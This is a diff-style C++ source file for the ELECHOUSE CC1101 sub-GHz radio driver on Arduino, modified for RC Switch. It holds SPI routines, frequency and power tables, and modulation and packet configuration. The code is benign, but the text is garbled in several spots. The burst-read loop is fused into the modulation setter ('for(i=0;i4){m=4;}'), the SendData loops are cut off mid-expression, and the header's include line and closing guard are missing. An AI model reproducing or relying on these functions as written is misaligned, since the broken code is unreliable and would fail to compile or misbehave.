{0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348 +uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464 +// -30 -20 -15 -10 -6 0 5 7 10 12 +uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99 +// -30 -20 -15 -10 -6 0 5 7 10 11 +uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928 +/**************************************************************** +*FUNCTION NAME:SpiStart +*FUNCTION :spi communication start +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiStart(void) +{ + // initialize the SPI pins + pinMode(SCK_PIN, OUTPUT); + pinMode(MOSI_PIN, OUTPUT); + pinMode(MISO_PIN, INPUT); + pinMode(SS_PIN, OUTPUT); + + // enable SPI + #ifdef ESP32 + CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN); + #else + CCSPI.begin(); + #endif +} +/**************************************************************** +*FUNCTION NAME:SpiEnd +*FUNCTION :spi communication disable +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiEnd(void) +{ + // disable SPI + CCSPI.endTransaction(); + CCSPI.end(); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0,GDO2 pin for serial pinmode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void ELECHOUSE_CC1101::GDO_Set (void) +{ + pinMode(GDO0, OUTPUT); + pinMode(GDO2, INPUT); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0 for internal transmission mode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void ELECHOUSE_CC1101::GDO0_Set (void) +{ + pinMode(GDO0, INPUT); +} +/**************************************************************** +*FUNCTION NAME:Reset +*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Reset (void) +{ + digitalWrite(SS_PIN, LOW); + delay(1); + digitalWrite(SS_PIN, HIGH); + delay(1); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(CC1101_SRES); + while(digitalRead(MISO_PIN)); + digitalWrite(SS_PIN, HIGH); +} +/**************************************************************** +*FUNCTION NAME:Init +*FUNCTION :CC1101 initialization +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Init(void) +{ + setSpi(); + SpiStart(); //spi initialization + digitalWrite(SS_PIN, HIGH); + digitalWrite(SCK_PIN, HIGH); + digitalWrite(MOSI_PIN, LOW); + Reset(); //CC1101 reset + RegConfigSettings(); //CC1101 register config + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteReg +*FUNCTION :CC1101 write data to register +*INPUT :addr: register address; value: register value +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value) +{ + SpiStart(); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(addr); + CCSPI.transfer(value); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteBurstReg +*FUNCTION :CC1101 write burst data to register +*INPUT :addr: register address; buffer:register value array; num:number to write +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num) +{ + byte i, temp; + SpiStart(); + temp = addr | WRITE_BURST; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(temp); + for (i = 0; i < num; i++) + { + CCSPI.transfer(buffer[i]); + } + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiStrobe +*FUNCTION :CC1101 Strobe +*INPUT :strobe: command; //refer define in CC1101.h// +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiStrobe(byte strobe) +{ + SpiStart(); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(strobe); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiReadReg +*FUNCTION :CC1101 read data from register +*INPUT :addr: register address +*OUTPUT :register value +****************************************************************/ +byte ELECHOUSE_CC1101::SpiReadReg(byte addr) +{ + byte temp, value; + SpiStart(); + temp = addr| READ_SINGLE; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(temp); + value=CCSPI.transfer(0); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); + return value; +} + +/**************************************************************** +*FUNCTION NAME:SpiReadBurstReg +*FUNCTION :CC1101 read burst data from register +*INPUT :addr: register address; buffer:array to store register value; num: number to read +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num) +{ + byte i,temp; + SpiStart(); + temp = addr | READ_BURST; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + CCSPI.transfer(temp); + for(i=0;i4){m=4;} +modulation = m; +Split_MDMCFG2(); +switch (m) +{ +case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK +case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK +case 2: m2MODFM=0x30; frend0=0x11; break; // ASK +case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK +case 4: m2MODFM=0x70; frend0=0x10; break; // MSK +} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +SpiWriteReg(CC1101_FREND0, frend0); +setPA(pa); +} +/**************************************************************** +*FUNCTION NAME:PA Power +*FUNCTION :set CC1101 PA Power +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPA(int p) +{ +int a; +pa = p; + +if (MHz >= 300 && MHz <= 348){ +if (pa <= -30){a = PA_TABLE_315[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];} +else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];} +else if (pa > 7){a = PA_TABLE_315[7];} +last_pa = 1; +} +else if (MHz >= 378 && MHz <= 464){ +if (pa <= -30){a = PA_TABLE_433[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];} +else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];} +else if (pa > 7){a = PA_TABLE_433[7];} +last_pa = 2; +} +else if (MHz >= 779 && MHz <= 899.99){ +if (pa <= -30){a = PA_TABLE_868[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];} +else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];} +else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];} +else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];} +else if (pa > 10){a = PA_TABLE_868[9];} +last_pa = 3; +} +else if (MHz >= 900 && MHz <= 928){ +if (pa <= -30){a = PA_TABLE_915[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];} +else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];} +else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];} +else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];} +else if (pa > 10){a = PA_TABLE_915[9];} +last_pa = 4; +} +if (modulation == 2){ +PA_TABLE[0] = 0; +PA_TABLE[1] = a; +}else{ +PA_TABLE[0] = a; +PA_TABLE[1] = 0; +} +SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8); +} +/**************************************************************** +*FUNCTION NAME:Frequency Calculator +*FUNCTION :Calculate the basic frequency. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setMHZ(float mhz){ +byte freq2 = 0; +byte freq1 = 0; +byte freq0 = 0; + +MHz = mhz; + +for (bool i = 0; i==0;){ +if (mhz >= 26){ +mhz-=26; +freq2+=1; +} +else if (mhz >= 0.1015625){ +mhz-=0.1015625; +freq1+=1; +} +else if (mhz >= 0.00039675){ +mhz-=0.00039675; +freq0+=1; +} +else{i=1;} +} +if (freq0 > 255){freq1+=1;freq0-=256;} + +SpiWriteReg(CC1101_FREQ2, freq2); +SpiWriteReg(CC1101_FREQ1, freq1); +SpiWriteReg(CC1101_FREQ0, freq0); + +Calibrate(); +} +/**************************************************************** +*FUNCTION NAME:Calibrate +*FUNCTION :Calibrate frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Calibrate(void){ + +if (MHz >= 300 && MHz <= 348){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1])); +if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 1){setPA(pa);} +} +} +else if (MHz >= 378 && MHz <= 464){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1])); +if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 2){setPA(pa);} +} +} +else if (MHz >= 779 && MHz <= 899.99){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1])); +if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 3){setPA(pa);} +} +} +else if (MHz >= 900 && MHz <= 928){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1])); +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 4){setPA(pa);} +} +} +/**************************************************************** +*FUNCTION NAME:Calibration offset +*FUNCTION :Set calibration offset +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){ +if (b == 1){ +clb1[0]=s; +clb1[1]=e; +} +else if (b == 2){ +clb2[0]=s; +clb2[1]=e; +} +else if (b == 3){ +clb3[0]=s; +clb3[1]=e; +} +else if (b == 4){ +clb4[0]=s; +clb4[1]=e; +} +} +/**************************************************************** +*FUNCTION NAME:getCC1101 +*FUNCTION :Test Spi connection and return 1 when true. +*INPUT :none +*OUTPUT :none +****************************************************************/ +bool ELECHOUSE_CC1101::getCC1101(void){ +setSpi(); +if (SpiReadStatus(0x31)>0){ +return 1; +}else{ +return 0; +} +} +/**************************************************************** +*FUNCTION NAME:getMode +*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2. +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte ELECHOUSE_CC1101::getMode(void){ +return trxstate; +} +/**************************************************************** +*FUNCTION NAME:Set Sync_Word +*FUNCTION :Sync Word +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){ +SpiWriteReg(CC1101_SYNC1, sh); +SpiWriteReg(CC1101_SYNC0, sl); +} +/**************************************************************** +*FUNCTION NAME:Set ADDR +*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAddr(byte v){ +SpiWriteReg(CC1101_ADDR, v); +} +/**************************************************************** +*FUNCTION NAME:Set PQT +*FUNCTION :Preamble quality estimator threshold +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPQT(byte v){ +Split_PKTCTRL1(); +pc1PQT = 0; +if (v>7){v=7;} +pc1PQT = v*32; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set CRC_AUTOFLUSH +*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setCRC_AF(bool v){ +Split_PKTCTRL1(); +pc1CRC_AF = 0; +if (v==1){pc1CRC_AF=8;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set APPEND_STATUS +*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAppendStatus(bool v){ +Split_PKTCTRL1(); +pc1APP_ST = 0; +if (v==1){pc1APP_ST=4;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set ADR_CHK +*FUNCTION :Controls address check configuration of received packages +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAdrChk(byte v){ +Split_PKTCTRL1(); +pc1ADRCHK = 0; +if (v>3){v=3;} +pc1ADRCHK = v; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set WHITE_DATA +*FUNCTION :Turn data whitening on / off. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setWhiteData(bool v){ +Split_PKTCTRL0(); +pc0WDATA = 0; +if (v == 1){pc0WDATA=64;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set PKT_FORMAT +*FUNCTION :Format of RX and TX data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPktFormat(byte v){ +Split_PKTCTRL0(); +pc0PktForm = 0; +if (v>3){v=3;} +pc0PktForm = v*16; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set CRC +*FUNCTION :CRC calculation in TX and CRC check in RX +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setCrc(bool v){ +Split_PKTCTRL0(); +pc0CRC_EN = 0; +if (v==1){pc0CRC_EN=4;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set LENGTH_CONFIG +*FUNCTION :Configure the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setLengthConfig(byte v){ +Split_PKTCTRL0(); +pc0LenConf = 0; +if (v>3){v=3;} +pc0LenConf = v; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set PACKET_LENGTH +*FUNCTION :Indicates the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPacketLength(byte v){ +SpiWriteReg(CC1101_PKTLEN, v); +} +/**************************************************************** +*FUNCTION NAME:Set DCFILT_OFF +*FUNCTION :Disable digital DC blocking filter before demodulator +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDcFilterOff(bool v){ +Split_MDMCFG2(); +m2DCOFF = 0; +if (v==1){m2DCOFF=128;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set MANCHESTER +*FUNCTION :Enables Manchester encoding/decoding +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setManchester(bool v){ +Split_MDMCFG2(); +m2MANCH = 0; +if (v==1){m2MANCH=8;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set SYNC_MODE +*FUNCTION :Combined sync-word qualifier mode +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSyncMode(byte v){ +Split_MDMCFG2(); +m2SYNCM = 0; +if (v>7){v=7;} +m2SYNCM=v; +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set FEC +*FUNCTION :Enable Forward Error Correction (FEC) +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setFEC(bool v){ +Split_MDMCFG1(); +m1FEC=0; +if (v==1){m1FEC=128;} +SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); +} +/**************************************************************** +*FUNCTION NAME:Set PRE +*FUNCTION :Sets the minimum number of preamble bytes to be transmitted. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPRE(byte v){ +Split_MDMCFG1(); +m1PRE=0; +if (v>7){v=7;} +m1PRE = v*16; +SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); +} +/**************************************************************** +*FUNCTION NAME:Set Channel +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setChannel(byte ch){ +chan = ch; +SpiWriteReg(CC1101_CHANNR, chan); +} +/**************************************************************** +*FUNCTION NAME:Set Channel spacing +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setChsp(float f){ +Split_MDMCFG1(); +byte MDMCFG0 = 0; +m1CHSP = 0; +if (f > 405.456543){f = 405.456543;} +if (f < 25.390625){f = 25.390625;} +for (int i = 0; i<5; i++){ +if (f <= 50.682068){ +f -= 25.390625; +f /= 0.0991825; +MDMCFG0 = f; +float s1 = (f - MDMCFG0) *10; +if (s1 >= 5){MDMCFG0++;} +i = 5; +}else{ +m1CHSP++; +f/=2; +} +} +SpiWriteReg(19,m1CHSP+m1FEC+m1PRE); +SpiWriteReg(20,MDMCFG0); +} +/**************************************************************** +*FUNCTION NAME:Set Receive bandwidth +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setRxBW(float f){ +Split_MDMCFG4(); +int s1 = 3; +int s2 = 3; +for (int i = 0; i<3; i++){ +if (f > 101.5625){f/=2; s1--;} +else{i=3;} +} +for (int i = 0; i<3; i++){ +if (f > 58.1){f/=1.25; s2--;} +else{i=3;} +} +s1 *= 64; +s2 *= 16; +m4RxBw = s1 + s2; +SpiWriteReg(16,m4RxBw+m4DaRa); +} +/**************************************************************** +*FUNCTION NAME:Set Data Rate +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDRate(float d){ +Split_MDMCFG4(); +float c = d; +byte MDMCFG3 = 0; +if (c > 1621.83){c = 1621.83;} +if (c < 0.0247955){c = 0.0247955;} +m4DaRa = 0; +for (int i = 0; i<20; i++){ +if (c <= 0.0494942){ +c = c - 0.0247955; +c = c / 0.00009685; +MDMCFG3 = c; +float s1 = (c - MDMCFG3) *10; +if (s1 >= 5){MDMCFG3++;} +i = 20; +}else{ +m4DaRa++; +c = c/2; +} +} +SpiWriteReg(16, m4RxBw+m4DaRa); +SpiWriteReg(17, MDMCFG3); +} +/**************************************************************** +*FUNCTION NAME:Set Devitation +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDeviation(float d){ +float f = 1.586914; +float v = 0.19836425; +int c = 0; +if (d > 380.859375){d = 380.859375;} +if (d < 1.586914){d = 1.586914;} +for (int i = 0; i<255; i++){ +f+=v; +if (c==7){v*=2;c=-1;i+=8;} +if (f>=d){c=i;i=255;} +c++; +} +SpiWriteReg(21,c); +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_PKTCTRL1(void){ +int calc = SpiReadStatus(7); +pc1PQT = 0; +pc1CRC_AF = 0; +pc1APP_ST = 0; +pc1ADRCHK = 0; +for (bool i = 0; i==0;){ +if (calc >= 32){calc-=32; pc1PQT+=32;} +else if (calc >= 8){calc-=8; pc1CRC_AF+=8;} +else if (calc >= 4){calc-=4; pc1APP_ST+=4;} +else {pc1ADRCHK = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_PKTCTRL0(void){ +int calc = SpiReadStatus(8); +pc0WDATA = 0; +pc0PktForm = 0; +pc0CRC_EN = 0; +pc0LenConf = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; pc0WDATA+=64;} +else if (calc >= 16){calc-=16; pc0PktForm+=16;} +else if (calc >= 4){calc-=4; pc0CRC_EN+=4;} +else {pc0LenConf = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG1 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG1(void){ +int calc = SpiReadStatus(19); +m1FEC = 0; +m1PRE = 0; +m1CHSP = 0; +int s2 = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m1FEC+=128;} +else if (calc >= 16){calc-=16; m1PRE+=16;} +else {m1CHSP = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG2 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG2(void){ +int calc = SpiReadStatus(18); +m2DCOFF = 0; +m2MODFM = 0; +m2MANCH = 0; +m2SYNCM = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m2DCOFF+=128;} +else if (calc >= 16){calc-=16; m2MODFM+=16;} +else if (calc >= 8){calc-=8; m2MANCH+=8;} +else{m2SYNCM = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG4 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG4(void){ +int calc = SpiReadStatus(16); +m4RxBw = 0; +m4DaRa = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; m4RxBw+=64;} +else if (calc >= 16){calc -= 16; m4RxBw+=16;} +else{m4DaRa = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:RegConfigSettings +*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::RegConfigSettings(void) +{ + SpiWriteReg(CC1101_FSCTRL1, 0x06); + + setCCMode(ccmode); + setMHZ(MHz); + + SpiWriteReg(CC1101_MDMCFG1, 0x02); + SpiWriteReg(CC1101_MDMCFG0, 0xF8); + SpiWriteReg(CC1101_CHANNR, chan); + SpiWriteReg(CC1101_DEVIATN, 0x47); + SpiWriteReg(CC1101_FREND1, 0x56); + SpiWriteReg(CC1101_MCSM0 , 0x18); + SpiWriteReg(CC1101_FOCCFG, 0x16); + SpiWriteReg(CC1101_BSCFG, 0x1C); + SpiWriteReg(CC1101_AGCCTRL2, 0xC7); + SpiWriteReg(CC1101_AGCCTRL1, 0x00); + SpiWriteReg(CC1101_AGCCTRL0, 0xB2); + SpiWriteReg(CC1101_FSCAL3, 0xE9); + SpiWriteReg(CC1101_FSCAL2, 0x2A); + SpiWriteReg(CC1101_FSCAL1, 0x00); + SpiWriteReg(CC1101_FSCAL0, 0x1F); + SpiWriteReg(CC1101_FSTEST, 0x59); + SpiWriteReg(CC1101_TEST2, 0x81); + SpiWriteReg(CC1101_TEST1, 0x35); + SpiWriteReg(CC1101_TEST0, 0x09); + SpiWriteReg(CC1101_PKTCTRL1, 0x04); + SpiWriteReg(CC1101_ADDR, 0x00); + SpiWriteReg(CC1101_PKTLEN, 0x00); +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetTx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_STX); //start send + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetRx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_SRX); //start receive + trxstate=2; +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetTx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_STX); //start send + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetRx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_SRX); //start receive + trxstate=2; +} +/**************************************************************** +*FUNCTION NAME:RSSI Level +*FUNCTION :Calculating the RSSI Level +*INPUT :none +*OUTPUT :none +****************************************************************/ +int ELECHOUSE_CC1101::getRssi(void) +{ +int rssi; +rssi=SpiReadStatus(CC1101_RSSI); +if (rssi >= 128){rssi = (rssi-256)/2-74;} +else{rssi = (rssi/2)-74;} +return rssi; +} +/**************************************************************** +*FUNCTION NAME:LQI Level +*FUNCTION :get Lqi state +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte ELECHOUSE_CC1101::getLqi(void) +{ +byte lqi; +lqi=SpiReadStatus(CC1101_LQI); +return lqi; +} +/**************************************************************** +*FUNCTION NAME:SetSres +*FUNCTION :Reset CC1101 +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSres(void) +{ + SpiStrobe(CC1101_SRES); + trxstate=0; +} +/**************************************************************** +*FUNCTION NAME:setSidle +*FUNCTION :set Rx / TX Off +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSidle(void) +{ + SpiStrobe(CC1101_SIDLE); + trxstate=0; +} +/**************************************************************** +*FUNCTION NAME:goSleep +*FUNCTION :set cc1101 Sleep on +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::goSleep(void){ + trxstate=0; + SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit + SpiStrobe(0x39);//Enter power down mode when CSn goes high. +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SendData(char *txchar) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i sync transmitted + while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet + SpiStrobe(CC1101_SFTX); //flush TXfifo + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data without GDO +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SendData(char *txchar,int t) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- +*/ +#ifndef 